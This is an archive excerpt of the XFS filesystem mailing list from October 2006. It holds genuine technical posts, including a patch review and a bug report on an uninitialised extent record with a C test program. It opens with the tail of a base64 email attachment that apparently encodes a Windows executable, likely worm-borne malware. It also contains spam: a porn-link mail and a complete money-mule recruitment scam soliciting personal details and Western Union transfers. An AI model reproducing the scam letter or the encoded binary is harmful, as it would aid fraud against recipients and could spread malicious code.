AAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACIiIiIiIiI > iIiIiIiIgAAAj////////////////4AAAIf///////////////eAAACPf/////////////9/gAAA > j/f////////////3/4AAAI//f///////////f/+AAACP//f/////////9///gAAAj/// f/////// > /3///4AAAI////f///////f// /+AAACP//93d > 3d3d3d3f///gAAAj//3f39/f39/f3f//4AAAI// > d/f39/f39/f3f/+AAACP 939/f39/f39/f3f/gAAAh3f39/f39/f39/f3d4AAAI9/f39/f39/f39/ > f3+AAACP////////////////AAAACP//////////////8AAAAACP/////////////wAAAAAACP// > //////////AAAAAAAACP//////////8AAAAAAAAACP/////////wAAAAAAAAAACP////////AAA > A > AAAAAAAACP//////8AAAAAAAAAAAAACP/////wAAAAAAAAAAAAAACIiIiIgAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD////////////////AAAAD > wAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPA > AAADwAAAB+AAAA/wAAAf+AAAP/wAAH/+AAD//wAB//+AA///wAf//+AP/////////////////8jD > AAAoAAAAEAAAACAAAAABAAQAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICA > AIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAACP//////8AAIj/////+AAAj4////+PAACP+P//+P > 8AAI+PiIiPjwAA > iPf39/f4AACPf39/f38AAAj39/f38AAAAI9/f38AAAAACPf38AAAAAAAiIiAAAAAAAAAAAAAAAAA > AAAAAAAA//8AAP//AADAAQAAwAEAAMABAADAAQAAwAEAAMABAADAAQAAwAEAAOADAADwBwAA+A8A > APwfAAD//wAA//8AAPDEAAAAAAEAAgAgIBAAAQAEAOgCAAABABAQEAABAAQAKAEAAAIAAAAAAAAA > AAAAAAAAAAC89QAAjPUAAAAAAAAAAAAAAAAAAMn1AACc9QAAAAAAAAAAA AAAAAAA1vUAAKT1AAAA > AAAAAAAAAAAAAADh9QAArPUAAAAAAAAAAAAAAAAA AOz1AAC09QAAAAAAAAAAAAAAAAAAAAAAAAAA > AAD29QAABPYAABT2AAAAAAAAIvYAAAAAAAAw9gAAAAAAADj2AAAAAAAAOQAAgAAAAABLR VJORUwz > Mi5ETEwAQURWQV BJMzIuZGxsAE1TVkNSVC5kbGwAVVNFUj MyLmRsbABXUzJfMzIuZGxsAABMb2Fk > TGlicmFyeUEAAEdldFByb2NBZGRyZXNzAABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAAbWVt > c2V0AAB3c3ByaW50ZkEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAwqVqC/3ylOOUpActalp0G > j3x6ps9bO0zPRqK+8KBSRxCrKVUwlNaqupTu0UqAl > 3+Kk+1B7LI > 5pkqAlwVKgJT326/vSueyQktnnbdo4F3jrCBZJfBgfw/+p5231Oe8FdZQwHBqLMwK5asxpFGs7hC > WSuvPHRoJqAarMfk0SuvO4W9FEkrUtvzfU1p8J1SmHbuUtJsElJhN+mWMygn1bq03VnxDeCpCSpy > MV/5U7YZztq2FzsrqcJ9b2am83tk/GFF+HxsRBeUqFoIRJ7hCEZG3Bc7uBWQqgh/F7mfJBc/6iqS > d505+qHrMX2Rp119vTOmfZpslH0wSCjEdpNQfb2zt0b+zbouUDqqe8qlmhUR+lupwjNmqScXjrbN > SXipGvDm+bgfoRb/znwW/9UqFlBU7ZFbDJ8Wdus4FmJCTRb7jUBWbqFfphH+BwWFX7E+uNi1pldV > uKYA7cOmEULifUnAdSPGl65wKaBTSxDtFwjh90nT93tBCOH36Y4NMMII4feiekfHV5WB0s6Pn8K5 > lSM895Wh/fUSpMyRlXsZehLpO7G5S90X0eUjYEl6NpWSbLxWSZMPR1aH4qXAHBGn0 > eUl4Qula0Nj > C5HSYwuUSCCCCg6lwyG > C+56RtPvqjmpjRmWvCquQqfqYez36+G555XFdfG6ED/RiBWl+5Zc+yGJ9 > /yuSZdpaYlau52Kz2rLBiu2ufapgNmJWucl9oiK6+rO7fRpTYgnqaUtK > cv2ewHKFGG71lWS86pK4 > 9fUmgdlJvFX1vGcukExezwzUydJbUw61oEwak5+XQE/EU7wE7FOhIGP4d+wdF7IVtheT0QMIThhG > F7hU 7JChjc4XWR2TF7kwe97vwMqNAPdQLtY05 > PXIoUwxKeU/LpvUrbY5uYa2QT7zqjIx38Kcy6/E > 92KlwuRVusLRI/vC5EH++d0GIUXoUFcUWpN6fIz/snyM6VV8jPJxfIzlR3z 0 bSP7EiaG5Alqkbbr > FYbePW9SWS7m11kNL/mdYWJ4WazBEUMS7h9ZLuwn/x174RBasYMPJI K+EPtRGxDThgjASoUcrPJM > eFF5Gz+NdQ3cfQrvJWKRMuvl2/GW5dv2RuXb8ZliNmFY5aNinL 4kH3tRwCGoUQrmy1HM3D+VA34l > UWdl > 3taK5YZR4hLMf//6SVTYmyVZAlkGigAA2BcpisaQGcDekLx0K5Al NpVGzwkW6FNI56kVaPAu > YfljtvUhIi4ZbfEuYf7CtoTUvrtVjxFLImNpSyOio5 > By7q5UHTI80/tw1EttfFFLMc vcL+7kKt/X > FqVHOIUxELkpmsArHtvAIVoRwNIizkc4nk+nw/IKz20PbpiUDHJIK7kVV6ex9UgaBtxIGNi7V/CR > ZCj+rE5AUFGi2Jrv9McYlscXqVKUQBsGRMc0gtXdAVOzGcJwH3E > UCThKLYCR6bTDhenzmddxFAli > 6fObOvYEVD4F2p6H6hRihvXrf79tDOiYbQzn3+ofZ0FtDO7I6gG0Kl1LW9KygfU+soWo9jXloU0O > pKtbsp > KtGTWdOrjwgOVo3QdC+bXRI3e5KNEwiwYv393uQNgi1mXhIvfjOiJBzX4= > > ------=_NextPart_000_0008_F98B7056.1DDD7224-- > > > From owner-xfs@oss.sgi.com Sat Oct 7 12:42:54 2006 Received: with ECARTIS (v1.0.0; list xfs); Sat, 07 Oct 2006 12:42:58 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k97JgraG030179 for ; Sat, 7 Oct 2006 12:42:54 -0700 X-ASG-Debug-ID: 1160250132-21372-988-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from smtp114.sbc.mail.mud.yahoo.com (smtp114.sbc.mail.mud.yahoo.com [68.142.198.213]) by cuda.sgi.com (Spam Firewall) with SMTP id DB511480DA1 for ; Sat, 7 Oct 2006 12:42:12 -0700 (PDT) Received: (qmail 32401 invoked from network); 7 Oct 2006 19:42:12 -0000 Received: from unknown (HELO stupidest.org) (cwedgwood@sbcglobal.net@24.5.75.45 with login) by smtp114.sbc.mail.mud.yahoo.com with SMTP; 7 Oct 2006 19:42:11 -0000 Received: by tuatara.stupidest.org (Postfix, from userid 10000) id 0CD0C1817F78; Sat, 7 Oct 2006 12:42:09 -0700 (PDT) Date: Sat, 7 Oct 2006 12:42:08 -0700 From: Chris Wedgwood To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: is quotacheck fast with xfs? Subject: Re: is quotacheck fast with xfs? Message-ID: <20061007194208.GC28578@tuatara.stupidest.org> References: <20061005204240.GA7922@apartia.fr> <1160086501.32536.57.camel@edge> <20061006075226.GB2414@apartia.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20061006075226.GB2414@apartia.fr> X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22767 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9216 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: cw@f00f.org Precedence: bulk X-list: xfs Status: O On Fri, Oct 06, 2006 at 09:52:26AM +0200, Louis-David Mitterrand wrote: > What you are saying is that userspace quotacheck is not needed with > xfs (or only once)? there is no userspace quata check, it's done in the kernel userspace tells the kernel it needs to mount with quotas, if there were none before it will rebuild the quata database From owner-xfs@oss.sgi.com Sun Oct 8 05:30:59 2006 Received: with ECARTIS (v1.0.0; list xfs); Sun, 08 Oct 2006 05:31:04 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k98CUvaG019848; Sun, 8 Oct 2006 05:30:58 -0700 X-ASG-Debug-ID: 1160306450-2237-797-2 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from STRONG (unknown [203.177.220.102]) by cuda.sgi.com (Spam Firewall) with ESMTP id 2DC6BD182B84; Sun, 8 Oct 2006 04:20:51 -0700 (PDT) Message-ID: <20467486667084.FA388DF6C8@9JIR6V> From: "Chris Charles" <373nickie@pacbell.net> To: X-ASG-Orig-Subj: Una giovane troias i infila duramente qui Subject: Una giovane troias i infila duramente qui Date: Sun, 8 Oct 2006 19:17:48 +0800 MIME-Version: 1.0 X-Mailer: Microsoft Office Outlook, Build 11.0.5510 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Thread-Index: uKi1XvzqvPnZQQ09ldAHJODhQX3VrpJjW00r Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 0.20 X-Barracuda-Spam-Status: No, SCORE=0.20 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=BSF_SC2_SA022 X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22813 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.20 BSF_SC2_SA022 Geocities Spam Site X-archive-position: 9217 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: 373nickie@pacbell.net Precedence: bulk X-list: xfs Status: O Nelda Video con prima esperienza delel ragazze giovane di fare pompini. http://www.geocities.com/gotopu18297 -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ Video con prima eseprienza delle ragazze giovane di fare pompini. Just as it had come alive before, so it was registering energy now.adequate defense, except at close quarters. And I have no desire to From owner-xfs@oss.sgi.com Sun Oct 8 10:50:26 2006 Received: with ECARTIS (v1.0.0; list xfs); Sun, 08 Oct 2006 10:50:29 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k98HoOaG013831 for ; Sun, 8 Oct 2006 10:50:25 -0700 X-ASG-Debug-ID: 1160329778-10174-433-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from c2bthomr01.btconnect.com (c2bthomr01.btconnect.com [194.73.73.209]) by cuda.sgi.com (Spam Firewall) with ESMTP id 9E1B3D186B87 for ; Sun, 8 Oct 2006 10:49:38 -0700 (PDT) Received: from [192.168.254.1] (host86-141-152-174.range86-141.btcentralplus.com [86.141.152.174]) by c2bthomr01.btconnect.com (MOS 3.7.4b-GA) with SMTP id FZR83136; Sun, 8 Oct 2006 18:43:40 +0100 (BST) MIME-Version: 1.0 Message-Id: <5C5B99E656F511DBA6EC0030659B0A9E@btconnect.com> Date: Sun, 8 Oct 2006 18:49:35 +0100 To: From: ItaliaUK X-ASG-Orig-Subj: New Business to Business News! Subject: New Business to Business News! X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22831 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: 7bit Content-length: 625 X-archive-position: 9218 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: italiauk@btconnect.com Precedence: bulk X-list: xfs Status: O Business to Business News Alerts If you are unable to view this email then please set your email software to read Enriched HTML emails. If you are unable to do this then please enter the following URL into your web browser, either by pasting it in directly or by entering it manually: http://italiauk.net/email_alerts/newsalert061006.htm Should you wish to contact Italia UK Ltd, then please call us on 0161 976 1212 or visit our website direct at http://www.italiauk.net If you have received this Business to Business email in error please accept our apologies. The Italia UK Team. [[HTML alternate version deleted]] From owner-xfs@oss.sgi.com Sun Oct 8 18:05:29 2006 Received: with ECARTIS (v1.0.0; list xfs); Sun, 08 Oct 2006 18:05:36 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9915PaG028017 for ; Sun, 8 Oct 2006 18:05:27 -0700 Received: from boing.melbourne.sgi.com (boing.melbourne.sgi.com [134.14.55.141]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id LAA09138; Mon, 9 Oct 2006 11:04:31 +1000 Date: Mon, 09 Oct 2006 11:06:36 +1000 From: Timothy Shimmin To: Russell Cattelan cc: xfs-dev@sgi.com, xfs@oss.sgi.com Subject: Re: review: set blocksize patch - libxfs & mkfs Message-ID: <2BDC88DD553790D1C3134DEF@timothy-shimmins-power-mac-g5.local> In-Reply-To: <1160150291.11159.29.camel@xenon.msp.redhat.com> References: <778901771D2CDD34FDDE6CFA@timothy-shimmins-power-mac-g5.local> <1160150291.11159.29.camel@xenon.msp.redhat.com> X-Mailer: Mulberry/4.0.6 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 9219 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: tes@sgi.com Precedence: bulk X-list: xfs Status: O Hi Russell, --On 6 October 2006 10:58:10 AM -0500 Russell Cattelan wrote: > On Fri, 2006-10-06 at 16:34 +1000, Timothy Shimmin wrote: > >> } >> Index: xfsprogs/libxfs/init.c >> =================================================================== >> --- xfsprogs/libxfs/init.c.orig 2006-10-06 14:12:27.000000000 +1000 >> +++ xfsprogs/libxfs/init.c 2006-10-06 14:14:03.000000000 +1000 >> @@ -116,8 +116,16 @@ >> exit(1); >> } >> >> - if (!readonly && setblksize && (statb.st_mode & S_IFMT) == S_IFBLK) >> - platform_set_blocksize(fd, path, statb.st_rdev, 512); >> + if (!readonly && setblksize && (statb.st_mode & S_IFMT) == S_IFBLK) { >> + if (setblksize == 1) >> + /* use the default blocksize */ >> + (void)platform_set_blocksize(fd, path, statb.st_rdev, >> XFS_MIN_SECTORSIZE, 0); >> + else { >> + /* given an explicit blocksize to use */ >> + if (platform_set_blocksize(fd, path, statb.st_rdev, setblksize, 1)) >> + exit(1); >> + } > should the return code always be checked for failure? > mybe something like > if (platform_set_blocksize(fd, path, statb.st_rdev, > ((setblksize == 1)?XFS_MIN_SECTORSIZE:setblksize) 1)) > > would be bit cleaner > Yeah. I was just a bit cautious about keeping the previous default behaviour. Previously if we failed the ioctl we just gave a warning message and did not exit. I thought that may be this was done for a reason and that sometimes perhaps the ioctl could fail even though we could still write in 512 bytes sectors and so it just gave a warning msg and continued on. I don't want to cause people grief by getting strict all of a sudden, but if you can assure me that the old behaviour was too conservative and that if the ioctl on default 512 fails then there is no point continuing, then I'll change it. Cheers, Tim. From owner-xfs@oss.sgi.com Sun Oct 8 20:07:42 2006 Received: with ECARTIS (v1.0.0; list xfs); Sun, 08 Oct 2006 20:07:46 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9937faG012927 for ; Sun, 8 Oct 2006 20:07:42 -0700 X-ASG-Debug-ID: 1160359456-29859-339-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from terbium.dnsprotect.com (unknown [63.247.74.189]) by cuda.sgi.com (Spam Firewall) with ESMTP id 772D9D17F014 for ; Sun, 8 Oct 2006 19:04:16 -0700 (PDT) Received: from slyrove by terbium.dnsprotect.com with local (Exim 4.52) id 1GWjyr-0000Oh-C9; Sun, 08 Oct 2006 21:30:57 -0400 Received: from 80.255.58.169 ([80.255.58.169]) (SquirrelMail authenticated user olu@slyrove.org) by 63.247.74.186 with HTTP; Sun, 8 Oct 2006 21:30:57 -0400 (EDT) Message-ID: <63460.80.255.58.169.1160357457.squirrel@63.247.74.186> Date: Sun, 8 Oct 2006 21:30:57 -0400 (EDT) X-ASG-Orig-Subj: Representative Offer Subject: Representative Offer From: "Dr Timothy O'Doherty" Reply-To: timothyodoherty@yahoo.com.hk User-Agent: SquirrelMail/1.4.8 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - terbium.dnsprotect.com X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [32616 32617] / [47 12] X-AntiAbuse: Sender Address Domain - yahoo.com.hk X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Spam-Score: 1.42 X-Barracuda-Spam-Status: No, SCORE=1.42 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1, BSF_SC1_SA036d, MISSING_HEADERS, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22858 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.19 MISSING_HEADERS Missing To: header 1.10 BSF_SC1_SA036d Custom Rule SA036d 0.13 TO_CC_NONE No To: or Cc: header 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) To: undisclosed-recipients:; X-archive-position: 9220 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: timothyodoherty1@yahoo.com.hk Precedence: bulk X-list: xfs Status: O Dr Timothy O'Doherty. Agricultural Research Institute of Northern Ireland Hillsborough, Ireland BT26 6DR Tel: +447011121587 Dear Sir/Madam, How are you doing. I came across your email address and your brief profile through an email listing affiliated with the Australian Chamber of Commerce. I would be very interested in offering you a part-time paying job in which you could earn alot. My names are Timothy O'Doherty and I am 58 years of age. I just resigned my job as a research scientist for ARINI (Agricultural Research Institute of Northern Ireland and I now work as a freelance consultant for the instistute which gives me very much time to do my own work which is basically being a freelance researcher who could be employed by research institutes to do research projects anywhere in the world. Presently, I have just been granted a funding to head a research project in the tropical regions of Asia regarding rare and vulnerable plant species and this would be commencing very soon. This research program will be funded and sponsored by some of my Australian counterparts and Associates. But the only set back is that my Australian counterparts want to make payments for the research in form of bank transfer only to any of the Australian banks. Getting an accountant in Australian or opening an account would have been my best choice but I have a deadline to meet and taking any of those choices would cost me time and a whole lot of other requirements which I am not ready to deal with. This is where I need to employ your assistance and service. WHAT I NEED YOU FOR? At this point, I will be glad if you could work with me as my representative in Australia. You will be working as my payment assistant incharge of collecting the payments from my Associates. Since they will be making the payment in bank transfers made payable only to you in Australia, you will be collecting this payments and cashing them on my behalf. On agreement to been my representative, you will receive a commission of 10% of whatever amount of payment you receive from myassociates. JOB DESCRIPTION? 1. Recieve payments from My Clients/Associates through bank transfers into your bank account. 2. Cash the Payments at your Bank. 3. Deduct 10% which will be your commission/percentage on Payment processed. 4. You are to remit the balance via Money Gram or Western Union Money Transfer according to my instruction. HOW MUCH WILL YOU EARN? 10% from each transaction! For instance: On receiving 6000 Dollars on my behalf, you will cash the payment and keep 10% to yourself before remitting the balance! At the beginning your commission will equal 10%,though later it will increase up to 12%! For the research, I am expecting about the sum of $95,000 in total from the clients (though the money will be sent in installmentally due to the progress of my research). You could make over $9,500 for the little time we will be working together. ADVANTAGES? You dont have to go out of your present daily activity inorder to engage in this Job(i.e. you can do this Work easily without leaving or affecting your present Job).You will work as an independent contractor right from your home /office. Your job is absolutely legal. You do not need any capital to start(non of your personal funds is needed). REQUIREMENTS? i) 18 years or older. ii) Legally capable. iii) Responsible, Reliable and Trustworthy. iv) Ready to work 3-4 hours per week. v) Able to check and respond to emails often. vi) Easy telephone access. IS THIS LEGAL? Yes it is.As a matter of fact,my lawyer checked all legal provisions to know if there is any dosmestic or international law against businesses ordeals in this manner.And he said its allowed by all LAWS.So know that doing this work is safe and legitimate. I hope all is well understood. I would be glad if you accept my proposal and I intend to commence as soon as you are ready. Please, to facilitate the conclusion of this transaction if accepted, do send promptly by email the following details below, to indicate your interest. NAME: ADDRESS: PHONE NUMBER: AGE: SEX: Once these information has been received from you, it would be forwarded to my Australian associates so they could commence the bank transfer to you. ALL REPLIES TO BE SENT TO : timothyodoherty@yahoo.com.hk From owner-xfs@oss.sgi.com Mon Oct 9 00:26:06 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 09 Oct 2006 00:26:11 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k997Q4aG024753 for ; Mon, 9 Oct 2006 00:26:06 -0700 X-ASG-Debug-ID: 1160378718-26761-101-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ext.agami.com (64.221.212.177.ptr.us.xo.net [64.221.212.177]) by cuda.sgi.com (Spam Firewall) with ESMTP id 5C679483966 for ; Mon, 9 Oct 2006 00:25:18 -0700 (PDT) Received: from agami.com ([192.168.168.127]) by ext.agami.com (8.12.5/8.12.5) with ESMTP id k997PAJA006620 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 9 Oct 2006 00:25:18 -0700 Received: from mx1.agami.com (mx1.agami.com [10.123.10.30]) by agami.com (8.12.11/8.12.11) with ESMTP id k997P4Ip031532 for ; Mon, 9 Oct 2006 00:25:04 -0700 Received: from [10.12.12.141] ([10.12.12.141]) by mx1.agami.com with Microsoft SMTPSVC(6.0.3790.1830); Mon, 9 Oct 2006 00:28:46 -0700 Message-ID: <4529F8A8.6080900@agami.com> Date: Mon, 09 Oct 2006 12:52:16 +0530 From: Shailendra Tripathi User-Agent: Mozilla Thunderbird 0.9 (X11/20041127) X-Accept-Language: en-us, en MIME-Version: 1.0 To: xfs mailing list , xfs-dev@sgi.com X-ASG-Orig-Subj: xfs_bmap_add_extent_delay_real: Uninited r[3] corrupts startoff Subject: xfs_bmap_add_extent_delay_real: Uninited r[3] corrupts startoff Content-Type: multipart/mixed; boundary="------------000008080301070103010303" X-OriginalArrivalTime: 09 Oct 2006 07:28:46.0468 (UTC) FILETIME=[8E69F440:01C6EB74] X-Scanned-By: MIMEDefang 2.36 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22875 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9221 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: stripathi@agami.com Precedence: bulk X-list: xfs Status: O This is a multi-part message in MIME format. --------------000008080301070103010303 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Hi, It appears that uninitialized r[3] in xfs_bmap_add_extent_delay_real can potentially corrupt the startoff for a particular case. This sequence is below: xfs_bmap_add_extent_delay_real ( ... xfs_bmbt_irec_t r[3]; /* neighbor extent entries */ case 0: /* * Filling in the middle part of a previous delayed allocation. * Contiguity is impossible here. * This case is avoided almost all the time. */ temp = new->br_startoff - PREV.br_startoff; xfs_bmbt_set_blockcount(ep, temp); r[0] = *new; r[1].br_startoff = new_endoff; temp2 = PREV.br_startoff + PREV.br_blockcount - new_endoff; r[1].br_blockcount = temp2; xfs_bmap_insert_exlist(ip, idx + 1, 2, &r[0], XFS_DATA_FORK); ip->i_df.if_lastex = idx + 1; ip->i_d.di_nextents++; Look at extent r[1]. It does not set br_startblock. That is, it is any random value. Now, look at the xfs_bmbt_set_all. Though, it sets the blockcount later, the startoff does not get changed. #if XFS_BIG_BLKNOS ASSERT((s->br_startblock & XFS_MASK64HI(12)) == 0); r->l0 = ((xfs_bmbt_rec_base_t)extent_flag << 63) | ((xfs_bmbt_rec_base_t)s->br_startoff << 9) | ((xfs_bmbt_rec_base_t)s->br_startblock >> 43); Top 21 bits are taken as it is. However, only 9 bit should be taken. So, for random values, it corrupts the startoff which from 9-63 bits. r->l1 = ((xfs_bmbt_rec_base_t)s->br_startblock << 21) | ((xfs_bmbt_rec_base_t)s->br_blockcount & (xfs_bmbt_rec_base_t)XFS_MASK64LO(21)); I have attached a small program which does the same thing as it is being done here. I would appreciate if someone can verify that assertion is correct. Regards, Shailendra --------------000008080301070103010303 Content-Type: text/plain; name="del_bmap.c" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="del_bmap.c" #include typedef unsigned long __uint64_t; typedef struct xfs_bmbt_rec_64 { __uint64_t l0, l1; } xfs_bmbt_rec_64_t; typedef __uint64_t xfs_bmbt_rec_base_t; typedef xfs_bmbt_rec_64_t xfs_bmbt_rec_t, xfs_bmdr_rec_t; typedef enum { XFS_EXT_NORM, XFS_EXT_UNWRITTEN, XFS_EXT_DMAPI_OFFLINE } xfs_exntst_t; typedef struct xfs_bmbt_irec { __uint64_t br_startoff; /* starting file offset */ __uint64_t br_startblock; /* starting block number */ __uint64_t br_blockcount; /* number of blocks */ xfs_exntst_t br_state; /* extent state */ } xfs_bmbt_irec_t; #define XFS_MASK64LO(n) (((__uint64_t)1 << (n)) - 1) #define XFS_MASK64HI(n) ((__uint64_t)-1 << (64 - (n))) int main(void) { xfs_bmbt_irec_t s; xfs_bmbt_rec_t r; int extent_flag; s.br_startoff = 0; s.br_blockcount = 5; s.br_startblock = 0xfffffffffffffff0; extent_flag = (s.br_state == XFS_EXT_NORM) ? 0 : 1; printf("blockcount = 0x%llx\n", s.br_startblock); r.l0 = ((xfs_bmbt_rec_base_t)extent_flag << 63) | ((xfs_bmbt_rec_base_t)s.br_startoff << 9) | ((xfs_bmbt_rec_base_t)s.br_startblock >> 43); r.l1 = ((xfs_bmbt_rec_base_t)s.br_startblock << 21) | ((xfs_bmbt_rec_base_t)s.br_blockcount & (xfs_bmbt_rec_base_t)XFS_MASK64LO(21)); printf("l0 = 0x%llx l1 = 0x%llx\n", r.l0, r.l1); r.l0 = (r.l0 & (xfs_bmbt_rec_base_t)XFS_MASK64HI(55)) | (xfs_bmbt_rec_base_t)((__uint64_t)100 >> 43); r.l1 = (r.l1 & (xfs_bmbt_rec_base_t)XFS_MASK64LO(21)) | (xfs_bmbt_rec_base_t)((__uint64_t)100 << 21); printf("l0 = 0x%llx l1 = 0x%llx\n", r.l0, r.l1); return 0; } --------------000008080301070103010303-- From owner-xfs@oss.sgi.com Mon Oct 9 05:34:45 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 09 Oct 2006 05:34:53 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k99CYiaG014438 for ; Mon, 9 Oct 2006 05:34:45 -0700 X-ASG-Debug-ID: 1160393027-8695-39-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bay0-omc3-s29.bay0.hotmail.com (bay0-omc3-s29.bay0.hotmail.com [65.54.246.229]) by cuda.sgi.com (Spam Firewall) with ESMTP id 1FFAC48B700 for ; Mon, 9 Oct 2006 04:23:47 -0700 (PDT) Received: from hotmail.com ([64.4.35.10]) by bay0-omc3-s29.bay0.hotmail.com with 